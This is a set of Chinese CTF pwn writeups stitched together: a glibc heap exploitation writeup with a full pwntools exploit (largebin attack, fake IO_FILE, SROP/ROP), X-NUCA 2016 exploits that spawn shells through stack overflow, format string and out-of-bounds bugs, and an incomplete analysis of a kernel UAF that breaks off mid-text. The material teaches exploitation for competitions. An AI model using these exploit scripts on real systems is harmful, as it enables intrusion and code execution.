glibc2.30 中修复了一个利用位置，所以只需要看 **glibc2.30 的检测** 这一部分即可。
##### 如何触发__malloc_assert
这部分主要是来源于源码中任何调用 **assert** 的部分（注意这里不是调用 **malloc_printerr** 的部分）
在 malloc 中有很多可用的点，这个也相对来说比较简单，因为我们平时都想办法绕过这个检测，这时候特意的去触发检测相对来说要简单许多。
**1.sysmalloc 部分**
在这部分中会触发的检测可以参照 **house of force** 会遇到的问题，主要就是如果申请后的 top chunk size 小于
MINSIZE（0x10）或者不足够当次申请时，那么就会触发重新申请来调用 sysmalloc，在 sysmalloc 中会检查是否对齐，如果未对齐就会触发
assert 来报错退出。
**2._int_malloc 部分**
这一部分利用来自于修改 largebin 上 size 对应的 large bin 的链表头部的 bk 指针，使其指向位置的 size 结构满足以下条件
#define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0)
就可以触发 assert 进入 FSOP 流程
**3.其他位置**
以上介绍的两个位置均是在 House of Kiwi 中所提及的位置，相对来说利用比较简单。在其他地方也存在着许多可利用的位置，可以自行寻找。
#### 修改 stderr 指针
这个指针存在于 libc 上，我们只需要通过 Large Bin Attack 来修改就可以劫持到我们的可控堆块上
在代码中使用的 stderr 都是从这里得到的。
#### 细节问题
很多师傅在复现过程中可能会遇到的一些问题，我在这里进行提及。
1.在 EXP 脚本中使用的攻击手法是使用攻击 mp_.tcache_bins 来造成 Tcache Struct 溢出利用，其对应的溢出位置是采用
**调试 + 计算** 的方法结合来找到的，这里给出一个我在过程中用于计算的一个程序。
#define csize2tidx(x) (((x) - 0x20 + 0x10 - 1) / 0x10)
#include <cstdio>
int main()
{
for (size_t tbytes = 0; tbytes < 0x10000000; tbytes++)
{
size_t tc_idx = csize2tidx(tbytes);
if (tc_idx == 0x158)
{
printf("0x%x", tbytes);
break;
}
}
return 0;
}
这个程序是我根据我能够写入的 tcache->counts[tc_idx] 位置中的 tc_idx 来计算出对应调用所需要的
tbytes(size)，利用这个 tbytes 再推出在 IO 上需要构造的地址。我使用了一个爆破的方法非常丑陋，实际上也可以直接逆推。
在这个 glibc 版本中
**tcache- >counts[tc_idx] 的偏移计算是 tcacheStruct + 2 * tc_idx**
**tcache- >entries[tc_idx] 的计算偏移是 tcacheStruct + 2 * 64 + 8 * tc_idx <=>
tcacheStruct + 0x80 + 8 * tc_idx <=> tcacheStruct + 8 * (0x10 + tc_idx)。**
图中 rbx 对应的是 tc_idx，rax 对应的是 tcacheStruct
tcacheStruct 是储存 tcache_perthread_struct 结构体的起始位置的指针（\x10 结尾）
由于在之前的版本中 tcache_perthread_struct 结构体内容有所变化，所以我建议还是以调试结果为主。
2.IO 数据的构造
这部分 IO 的构造可以参考 [SWPUCTF2020 corporate_slave _IO_FILE
组合利用](http://blog.wjhwjhn.com/archives/138/) 这篇文章中我所分析的。由于这篇文章写的较早，当时学习的 glibc
版本较低，有些东西可能不再适用于最新版本，希望各位师傅可以尝试着去看源码来分析。
需要注意的是，与 house of pig 那题中的 IO 结构不同的是，这道题中的 IO 结构中的 _lock (+0x88)
要为一个可访问的指针，如果不是的话，在这道题中调用 _IO_flockfile(fp) 时会对_lock 所指向的地址进行访问，导致程序在一个 cmp
指令处报错，这一点在[ AngleBoy (NTU CSIE Cpmputer Security 2018 Fall) Play with FILE
Structure – I](https://www.youtube.com/watch?v=_ZnnGZygnzE) （23:14）中也提到过。
3.禁用 **free_hook 和** malloc_hook
这道题实际上会检查这两个 hook 函数的数据来防止非预期的，但实际上我们利用 **_IO_str_overflow**
这个函数来控制程序流程使得程序根本没有机会来检测__free_hook，所以就相当于我们绕过了这个检测。
4.修改 top chunk 的 size
这个主要是利用 unsortedbin 堆块与 top chunk 合并后的 UAF 来达成的，就是提前申请一块空间再释放掉使其与 top chunk
合并，之后再申请其中的一部分（小于提前申请的 size），使得新的 top chunk size 能够落在提前申请的空间内，再利用 UAF 就可以修改
top chunk 的 size 了。
这个操作需要注意需要在修改 mp_.tcache_bins 之前完成，因为修改之后再 free 就会直接进入 Tcache 中，而不会认为是
unsortedbin 来进行 unlink。
5.恢复 largebin 信息
在 largebin Attack 后，原来的 largebin 链表被破坏，所以当下次使用的时候就会发生异常导致程序异常退出。所以如果我们需要多次的
largebin Attack，就一定要在攻击之后恢复链表数据，恢复的链表数据可以先把 largebin Attack 需要进行的那行 UAF
修改代码注释掉（不进行 largebin Attack），再调试就可以得到正常情况下的数据。
### 总结
以上部分就是本题中比较新颖的点，其他的利用部分都曾经出现过（例如 orw 的具体利用），我在上文也给出了相应的学习文章，这里就不展开来说。这道题在比赛
Break
环境仅仅三个小时的攻击时间中，居然有人做了出来，实在是佩服。我对于这道题的利用尝试了各个方法，调试了一下午才成功解出，虽然在文章中直接写出的是正解的做法，但是在实际做题中我走了不少的弯路。所以希望各位师傅除了看之外，可以尝试着去做做这道题。
### EXP
from pwn import *
elf = None
libc = None
file_name = "./pwn"
# context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
libc = None
try:
data = os.popen("ldd {}".format(dic + file_name)).read()
for i in data.split('\n'):
libc_info = i.split("=>")
if len(libc_info) == 2:
if "libc" in libc_info[0]:
libc_path = libc_info[1].split(' (')
if len(libc_path) == 2:
libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
return libc
except:
pass
if context.arch == 'amd64':
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
elif context.arch == 'i386':
try:
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc = ELF("/lib32/libc.so.6", checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
def get_gdb(sh, gdbscript=None, addr=0, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript=gdbscript)
elif addr is not None:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
log.success("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
else:
gdb.attach(sh)
if stop:
raw_input()
def Attack(target=None, sh=None, elf=None, libc=None):
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 3:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def choice(idx):
sh.sendlineafter(">> ", str(idx))
def add(size, content):
choice(1)
sh.sendlineafter("Size: ", str(size))
sh.sendlineafter("Content: ", str(content))
def edit(idx, content):
choice(2)
sh.sendlineafter("Index: ", str(idx))
sh.sendlineafter("Content: ", str(content))
def show(idx):
choice(4)
sh.sendlineafter("Index: ", str(idx))
def delete(idx):
choice(3)
sh.sendlineafter("Index: ", str(idx))
def pwn(sh, elf, libc):
context.log_level = "debug"
add(0x418, '0')
add(0x418, '1')
add(0x428, '2')
add(0x428, '3')
delete(2)
add(0x450, '4')
show(2)
libc_base = get_address(sh, True, info="libc_base:\t", offset=-0x1e3ff0)
free_hook_addr = libc_base + 0x1e6e40
setcontext_addr = libc_base + 0x53030
main_arena_addr = libc_base + 0x1e3ff0
global_max_fast = libc_base + 0x1e6e98
mpcount = libc_base + 0x1e32d0
free_hook_ptr_addr = libc_base + 0x1e2ed8
stderr_addr = libc_base + 0x1e47a0
IO_str_jumps = libc_base + 0x1e5580
delete(0)
edit(2, p64(main_arena_addr) * 2 + p64(0) + p64(stderr_addr - 0x20))
add(0x450, '5')
show(2)
heap_base = u64(sh.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00')) - 0x2b0
log.success("heap_base:\t" + hex(heap_base))
# recover
edit(2, p64(heap_base + 0x2b0) + p64(main_arena_addr) + p64(heap_base + 0x2b0) + p64(heap_base + 0x2b0))
edit(0, p64(main_arena_addr) + p64(heap_base + 0xaf0) * 3)
add(0x418, '6')
add(0x428, '7')
add(0x450, '8')
add(0x450, '9')
add(0x450, '10')
delete(8)
delete(9)
delete(10)
delete(7)
add(0x450, '11')
edit(7, p64(main_arena_addr) * 2 + p64(0) + p64(mpcount - 0x20) + 'a' * 0x30 + p64(free_hook_addr))
delete(6)
add(0x450, '12')
# recover
# edit(7, p64(heap_base + 0x2b0) + p64(main_arena_addr) + p64(heap_base + 0x2b0) + p64(heap_base + 0x2b0))
# edit(6, p64(main_arena_addr) + p64(heap_base + 0xaf0) * 3)
new_size = 0x1592
old_blen = (new_size - 100) // 2
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(1) # change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff) # change _IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base + 0x2080) # _IO_buf_base
fake_IO_FILE += p64(heap_base + 0x2080 + old_blen) # _IO_buf_end
# old_blen = _IO_buf_end - _IO_buf_base
# new_size = 2 * old_blen + 100;
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_base) # change _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(IO_str_jumps + 0x18 - 0x38) # change vtable
edit(6, fake_IO_FILE)
edit(0, '\x01')
# heap_base + 0x2080
gadget_addr = libc_base + 0x000000000014b760 #: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
pop_rdi_addr = libc_base + 0x2858f
pop_rsi_addr = libc_base + 0x2ac3f
pop_rdx_addr = libc_base + 0x5216
pop_rax_addr = libc_base + 0x45580
syscall_addr = libc_base + 0x611ea
# SROP
fake_frame_addr = heap_base + 0x2080
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1 # : ret
rop_data = [
pop_rax_addr, # sys_open('flag', 0)
2,
syscall_addr,
pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr,
pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr
]
payload = (p64(gadget_addr) + p64(fake_frame_addr) + p64(0) * 2 + p64(setcontext_addr + 61) +
str(frame)[ 0x28:]).ljust(0xF8, '\x00') + "flag\x00\x00\x00\x00" + p64(0) + flat(rop_data)
edit(9, payload)
add(0x430, '13')
edit(10, 'a' * 0x438 + p64(0x3fe))
#gdb.attach(sh, "b *__vfprintf_internal+273")
choice(1)
sh.sendlineafter("Size: ", str(0x440))
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
sh.close()
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
## 总结
这次比赛的 Break 环节的题目的质量都非常的高，可惜占比很小，虽然从 Writeup
看来有些题目的利用非常的简单。但实际上很大的难度都在于逆向分析上，这里不知道是专家的选择是有意还是无意的，选择的题目都是偏向于 C++
的或者有混淆的题目，这类题目的逆向难度大，难以找到漏洞利用点。在比赛紧张的气氛下，在比赛 3
小时的时间内完成一题都是非常了不得的。我的解题方法只代表的我个人的一种思路，如果有更好的思路或者非预期的解法，希望各位师傅不要吝啬，可以在评论区分享一下~ | 社区文章 |
# 【CTF攻略】全国高校网安联赛-决赛 X-NUCA 2016 PWN Writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[ **FlappyPig**
****](http://bobao.360.cn/member/contribute?uid=1184812799)
**预估稿费：300RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆 **[
**网页版**](http://bobao.360.cn/contribute/index)** 在线投稿**
**
**
**前言**
上周参加了xnuca final的决赛（官网链接：<http://xnuca.erangelab.com/>），做了几个pwn题，整理如下。
**1\. heap overflow?**
这是个人赛的第一个pwn题，题目说明如下:
**漏洞:**
分析程序，最开始感觉可能是一个堆的问题，不过最后发现一个明显的栈溢出。
**利用：**
因为是简单栈溢出，利用方式比较简单，首先通过puts函数泄露出一个got中的函数地址，得到lib库的加载地址，然后返回到main，再次触发栈溢出。第二次栈溢出直接执行system("/bin/sh")
from threading import Thread
from zio import *
target = './pwn_zy'
def add(io, name, password, level, secret):
io.read_until('option:')
io.writeline('1')
io.read_until(':')
io.writeline(name)
io.read_until(':')
io.writeline(password)
io.read_until(':')
io.writeline(str(level))
io.read_until(':')
io.writeline(secret)
def edit(io, name, password, level, secret, payload):
io.read_until('option:')
io.writeline('4')
io.read_until(':')
io.writeline(name)
io.read_until(':')
io.writeline(password)
io.read_until(':')
io.writeline(str(level))
io.read_until(':')
io.writeline(secret)
io.read_until('y/n')
io.writeline(payload)
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
puts_plt = 0x080484F0
puts_got = 0x0804B020
main= 0x08048A8F
payload = 'a'*(0x7a+4) + l32(puts_plt) + l32(main) + l32(puts_got)
add(io, '123', '456', 1, '789')
edit(io, '123', '456', 1, '789', payload)
io.read_until('recorded!n')
puts = l32(io.read(4))
#remote
base = puts - 0x0005F140
system = base + 0x0003A940
binsh = base + 0x00158E8B
payload = 'a'*(0x7a+4) + l32(system) + l32(main) + l32(binsh)
add(io, '123', '456', 1, '789')
edit(io, '123', '456', 1, '789', payload)
io.interact()
exp(target)
**2\. ai**
这是个人赛的第2个pwn，题目说明如下
**漏洞：**
也比较明显，scanf处存在栈溢出
**利用：**
这里有栈canary保护，所以不能覆盖到返回值。但是可以覆盖局部变量i、j、k等值。当覆盖j之后，可以通过函数指针 (*(&patterns +
j))改变程序的执行流程,同时可以控制第一个参数和第二个参数.如果控制得当，可以多次执行到该函数指针。
**利用思路如下：**
1\. printf(scanf_got)泄露出scanf_got，得到libc加载地址。
2\. scanf("%s", 0x601f00) 将system的地址写入到0x601f00中。
3\. system("sh")
from zio import *
target = './ai'
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
scanf_got = 0x601048
sss = 0x0000000000400AF3 #%s
sh = 0x4003d7 #sh
payload = ']'+str(scanf_got)+' # 1 = 2 ;'
payload2 = ']'+str(sss)+' # '+str(0x601f00)+' = 0 ;'
payload3 = ']'+str(sh)+' # 1 = 2 ;'
for i in range(10):
if i == 1:
io.writeline(payload2)
elif i == 2:
io.writeline(payload3)
else:
io.writeline(payload)
payload = '1234'+'1234'+l32(0xfffffffff)+l32(0xfffffff4)
io.writeline(payload)
io.read_until('875770417')
print_addr = l64(io.read(6)+'x00x00')
base = print_addr - 0x000000000006A790
system = base + 0x0000000000045380
exp(target)
**3\. ww**
这是团体赛的一个pwn，存在多个漏洞。
**格式化：**
在execute shell功能中存在格式化漏洞。
利用比较简单
from zio import *
target = './ww'
def add(io, length, cmd):
io.read_until('Exitn')
io.writeline('1')
io.read_until(':')
io.writeline(str(length))
io.read_until(':')
io.writeline(cmd)
def execute(io, id):
io.read_until('Exitn')
io.writeline('3')
io.read_until(':')
io.writeline(id)
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
io.gdb_hint()
malloc_got = 0x0000000000603068
add(io, 100, '%11$s')
payload = '0;'
payload = payload.ljust(8, 'a')
payload += l64(malloc_got)+'b'*8
execute(io, payload)
io.read_until('excute 0n')
malloc_addr = l64(io.read_until('Wel')[:-3].ljust(8, 'x00'))
base = malloc_addr-0x0000000000083580
system = base + 0x0000000000045390
strtol_got = 0x0000000000603050
system_high = (system>>16)&0xffff
system_low = system&0xffff
if system_high > system_low:
formst = '%%%dc%%11$hn%%%dc%%12$hn' %(system_low, system_high-system_low)
else:
formst = '%%%dc%%12$hn%%%dc%%11$hn' %(system_high, system_low-system_high)
add(io, 100, formst)
payload = '1;'
payload = payload.ljust(8, 'a')
payload += l64(strtol_got)+l64(strtol_got+2)
execute(io, payload)
io.read_until('Exit')
io.writeline('2')
io.writeline('sh;')
io.interact()
exp(target)
**id越界：**
在edit和delete功能时，虽然检查了id的值，但是无效时，只是打印了invalid id，并没有退出或者返回，仍然可以越界读或者越界写。
利用的话需要找到二级指针，最后在程序的代码段中找到了两个满足条件的。
通过这两个二级指针，可以泄露和修改strtol和malloc__usable_size的got。
from zio import *
target = './ww'
def add(io, length, cmd):
io.read_until('Exitn')
io.writeline('1')
io.read_until(':')
io.writeline(str(length))
io.read_until(':')
io.writeline(cmd)
def execute(io, id):
io.read_until('Exitn')
io.writeline('3')
io.read_until(':')
io.writeline(id)
def edit(io, id, cmd):
io.read_until('Exitn')
io.writeline('5')
io.read_until(')')
io.writeline(id)
io.read_until(':')
io.writeline(cmd)
def delete(io, id):
io.read_until('Exitn')
io.writeline('2')
io.read_until(')')
io.writeline(id)
io.read_until('content:n')
return l64(io.readline()[:-1].ljust(8, 'x00'))
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
io.gdb_hint()
malloc_got = 0x0000000000603068
add(io, 100, '%11$s')
malloc_size = delete(io, '-131752')
print hex(malloc_size)
base = malloc_size - 0x00000000000844C0
system = base + 0x0000000000045390
print hex(base)
edit(io, '-131746', l64(system))
io.read_until('Exit')
io.writeline('2')
io.writeline('sh;')
io.interact()
exp(target)
**堆溢出：**
在read_buff中，length为int，当length=0时，可以无限读入。
所以只要在new时指定长度为0，在edit时，就可以无限覆盖了。
因为这题没有free，利用的思路与hitcon 2016的一个题目类似.
参考链接 [[CTF Pwn之创造奇迹的Top Chunk](http://bobao.360.cn/ctf/learning/178.html)]
**隐藏pwn：**
这题最有意思的是还隐藏了一个功能。
为了找到这个隐藏的功能，我使用qira查看运行的所有指令，发现刚连接上没有进行任何交互，就运行了12万多条指令。但qira只会记录主模块中的指令，显然不会这么多。最后发现程序运行到.eh_frame节中,同时发现是从0x4007db跳转过去的。发现是对puts_plt做了修改，而这种修改在ida中不太可能看出来。
后面就是分析.eh_frame中的函数的功能。
简单的通过分析汇编，发现是进行了一个比较，如果比较成功，就会调用mprotect的系统调用修改页的属性，对代码进行解密。不过前面比较部分的算法通过汇编阅读有点吃力，因此想办法进行修复，使ida能够成功反编译。
地址0x402A63处是一个push rbp，感觉是一个函数的开始地址。根据堆栈平衡，找到了pop rbp，按理pop
rbp之后应该是一个ret指令，因此这里进行patch，将pop rax修改为ret。然后在402A63处创建function，之后就能正常f5了。
进行简单修正之后得到如下反编译代码
写了个脚本求解了一下，发现只有puts打印的字符串为THESEVIOLENTDELIGHTSHAVEVIOLENTENDS程序能满足这个比较。
base_str = 'HOOKEDBYYSYY'*3
cmp_str = 'AVSCIYJMJWLRKSZSKKUQFSTCCWCVIQUCLVQ'
d = {}
for i in range(26):
for j in range(26):
d[i*26+j] = (i+j)%26+65
flag = ''
for k in range(len(cmp_str)):
hang = ord(base_str[k]) - 65
for m in range(26):
if d[hang*26+m] == ord(cmp_str[k]):
flag += chr(m + 65)
print flag
在满足比较之后，程序会对0x401031处的2860个字节进行异或解密，然后跳转到401934。
在gdb中dump下解密后的0x401031处的数据，替换掉原来的之后，用ida打开，看到了隐藏的功能。
隐藏功能为生成一个迷宫，然后如果走出迷宫，就能进入到401658函数中，401658函数中存在后门和栈溢出。
from zio import *
def add(io, length, cmd):
io.read_until('Exitn')
io.writeline('1')
io.read_until(':')
io.writeline(str(length))
io.read_until(':')
io.writeline(cmd)
def delete(io, id):
io.read_until('Exitn')
io.writeline('2')
io.read_until(')')
io.writeline(str(id))
finalmg=[]
def dfs(x,y,mg):
global finalmg
if x==0 and y==1:
print "ok"
finalmg=mg
return 1
if x-1>=0 and mg[x-1][y]==".":
mg[x][y]="^"
if dfs(x-1,y,mg):
return 1
mg[x][y]="."
if x+1<=42 and mg[x+1][y]==".":
mg[x][y]="v"
if dfs(x+1,y,mg):
return 1
mg[x][y]="."
if y-1>=0 and mg[x][y-1]==".":
mg[x][y]="<"
if dfs(x,y-1,mg):
return 1
mg[x][y]="."
if y+1<=42 and mg[x][y+1]==".":
mg[x][y]=">"
if dfs(x,y+1,mg):
return 1
mg[x][y]="."
return 0
def solve_mg(mg):
global finalmg
finalmg=[]
dfs(42,41,mg)
for l in finalmg:
print "".join(l)
s=""
for l in finalmg:
for i in l:
if i in "><^v":
s+="x02"
else:
s+="x01"
s=s[0]+"x02"+s[2:]
print s.encode("hex")
return s
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
add(io, 123, 'THESEVIOLENTDELIGHTSHAVEVIOLENTENDS')
delete(io, 0)
io.read_until('back...n')
d = io.read(0x2b*0x2b).encode('hex')
mg=[]
for i in range(0x2b):
line=d[0x2b*2*i:0x2b*2*(i+1)]
print line
l=[]
for j in range(0,len(line),2):
if line[j:j+2]=="01":
l.append("#")
else:
l.append(".")
mg.append(l)
s=solve_mg(mg)
print repr(s)
io.write(s)
io.read_until('Dolores')
io.writeline('I'm in a dream.')
io.read_until('Do')
io.writeline('It was you...talking to me...guiding me.So I followed you.At last,I arrived here.')
io.interact()
target = './ww'
exp(target)
**4\. wow**
程序逻辑较为复杂，主要用到了几个定义的结构题，最后还原得结构体大致如下:
**漏洞：**
在wolf的虚表中存在一个函数存在格式化漏洞。
经过分析，发现当己方的wolf打败了对方的怪兽后，就会执行到这个格式化漏洞函数。
手动玩了会游戏，能够至少进行3次格式化。因此格式化的name字符串长度有限，基本只能同时更改两个2字节，一共4字节。
所以第一个格式化，进行信息泄露。
后面两个进行改写，将一个指针修改为call_execve的函数地址。
因为got不可改写，所以选择修改的指针为exit_game的函数指针，位于主程序的0x208170地址处。
完整的利用脚本如下:
import operator
from zio import *
target = './wow'
def newwarrior(io, type, name):
io.read_until('$')
io.writeline('newwarrior')
io.writeline(str(type))
io.writeline(name)
def advance(io):
io.read_until('$')
io.writeline('advance')
def attack(io):
io.read_until('$')
io.writeline('attack')
def attack2(io, payload):
io.read_until('$')
io.writeline(payload)
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
newwarrior(io, 4, '***%49$p***%11$p***%10$p***')
for i in range(4):
advance(io)
attack(io)
io.gdb_hint()
attack(io)
io.read_until('***')
libc_base = int(io.read_until('***')[:-3], 16) - 0x0000000000020830
main_base = int(io.read_until('***')[:-3], 16) - 0x2069
stack = int(io.read_until('***')[:-3], 16)
io.writeline('lalala')
call_execve = 0x000000000004526A + libc_base
exit_fun = main_base + 0x0000000000208170
write = {}
write[0] = (call_execve >> 16) & 0xffff
write[1] = call_execve&0xffff
#write[2] = system_hh
printed = 0
payload = ''
for where, what in sorted(write.items(), key=operator.itemgetter(1)):
delta = (what - printed) & 0xffff
if delta > 0:
if delta < 8:
payload += 'A' * delta
else:
payload += '%' + str(delta) + 'x'
payload += '%' + str(43 + where) + '$hn'
printed += delta
newwarrior(io, 4, payload)
for i in range(2):
advance(io)
for i in range(4):
attack(io)
write = {}
write[0] = (call_execve>> 32) & 0xffff
printed = 0
payload = ''
for where, what in sorted(write.items(), key=operator.itemgetter(1)):
delta = (what - printed) & 0xffff
if delta > 0:
if delta < 8:
payload += 'A' * delta
else:
payload += '%' + str(delta) + 'x'
payload += '%' + str(43 + where) + '$hn'
printed += delta
newwarrior(io, 4, payload)
for i in range(3):
advance(io)
attack(io)
payload = 'attackx00x00'+l64(exit_fun)+l64(exit_fun+2)
io.gdb_hint()
attack2(io, payload)
io.writeline('lalal')
advance(io)
advance(io)
advance(io)
newwarrior(io, 4, 'lll')
advance(io)
for i in range(2):
attack(io)
payload = 'attackx00x00'+l64(exit_fun+4)
attack2(io, payload)
io.read_until('your blue enemy')
io.writeline('sh')
io.read_until('$')
io.writeline('exit')
io.interact()
exp(target) | 社区文章 |
# TSG6 sushi-da 内核部分分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 开启的保护
`run.sh`:
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio \
-nographic \
-monitor none \
-cpu qemu64 \
-append "console=ttyS0 kaslr panic=1 nosmep nosmap pti=off quiet oops=panic" \
-no-reboot \
-m 256M \
-s
调试的时候稍微做了修改，把`timeout`去掉了，加了调试参数。
文件系统解压之后的`init`：
#!/bin/sh
/bin/mount -t proc proc /proc
/bin/mount -t sysfs sysfs /sys
/bin/mount -t devtmpfs devtmpfs /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
mkdir /home
mkdir /home/user
chown 1000:1000 /home/user -R
mv /flag* /home/user
mv /client /home/user/client
chown 1000:1000 /home/user/flag1
chown 1000:1000 /home/user/flag2
chown root:root /home/user/flag3
chown 1000:1000 /home/user/client
chmod 400 /home/user/flag*
insmod /sushi-da.ko
chmod 666 /dev/sushi-da
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo -e "\n\n WELCOME TO SUSHIl 🍵🍣🍵\n\n"
cd /home/user
stty erase ''
stty -echo
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
由于我是直接看的内核部分，所以，把启动程序换成了`sh`。
综上，开启的保护几乎没有，只有地址随机化KASLR。
## 0x2 源码分析
题目给了源码，好评QAQ！！
题目涉及的结构体：
struct record{
char date[0x10];
unsigned long result;
}; // 我们控制的结构体
struct ioctl_register_query{
struct record record;
}; // 用于传入我们设计的结构体
struct ioctl_fetch_query{
unsigned rank;
struct record record;
}; // 用于查询输出我们需要的结构体
常规的菜单题目：
* `register_record`:负责申请一个初始化为全零的堆块，放入列表里。
* `fetch_record`:题目的结构体里面有一个`Rank`，函数计算出每个堆块的`Rank`，然后如果有我们指定的`Rank`，就会输出给我们对应`Rank`的堆块的内容。
* `clear_old_records`:`free`一部分堆块，我们可以设计这写些可以被`free`的堆块。
* `clear_all_records`:把堆块列表清空，不是`free`。
问题代码在`clear_old_records`:
long clear_old_records(void)
{
int ix;
char tmp[5] = {0};
long date;
for (ix = 0; ix != SUSHI_RECORD_MAX; ++ix)
{
if (records[ix] == NULL)
continue;
strncpy(tmp, records[ix]->date, 4);
if (kstrtol(tmp, 10, &date) != 0 || date <= 1990)
kfree(records[ix]); // BUG : UAF
}
return 0;
}
可以明显发现，这里的`kfree`的没有并没有在堆块列表里置零。造成UAF。
[题目源码](https://gist.github.com/Mech0n/af1d2a90ead0e15cdd82b9d20cd629bf)贴在这里好了。
## 0x3 漏洞利用
由于几乎什么保护也没开，所以我也就常规思路做，先考虑泄漏内核基地址，然后考虑控制RIP来劫持程序流。
这里有个结构体，恰好适合我们做各种操作。
`seq_operations`:[[source]](https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#seq_operations)
> ## seq_operations
>
> * サイズ：0x20 (kmalloc-32)
> * base：4つの関数ポインタから好きなものを使ってリーク可能。
> * heap：リークできない。
> * stack：リークできない。
> * RIP：例えば `start` を書き換えてreadを呼べばRIPがポン！ってなる。
> * 確保：`single_open`を使うファイルを開く。`/proc/self/stat`とか。
> * 解放：`close`する。
> *
> 参考：<https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/seq_file.h#L32>
>
>
>
> 0x0000: 0xffffffff811c5f70
> 0x0008: 0xffffffff811c5f90
> 0x0010: 0xffffffff811c5f80
> 0x0018: 0xffffffff8120c3f0
> [+] kbase = 0xffffffff81000000
> Press enter to continue...
> [ 6.801190] BUG: unable to handle kernel paging request at
> 00000000deadbeef
>
这个结构体，里面都是可以用来泄漏的内核基地址的函数指针，并且`read`函数可以用来劫持RIP，太合适了好吧。
使用方法：
int victim = open("/proc/self/stat", O_RDONLY);
char c;
read(victim, &c, 1); // 劫持RIP
所以思路很明显了：
* 通过UAF，申请一个堆块，`kfree`掉它，然后启动`/proc/self/stat`。
* 输出这个被`kfree`的堆块的内容，就会输出这些函数指针。泄漏了内核基地址。
* 然后再次`kfree`这个这个堆块，向里面放入我们需要的地址，来栈迁移。
关于栈迁移这里：
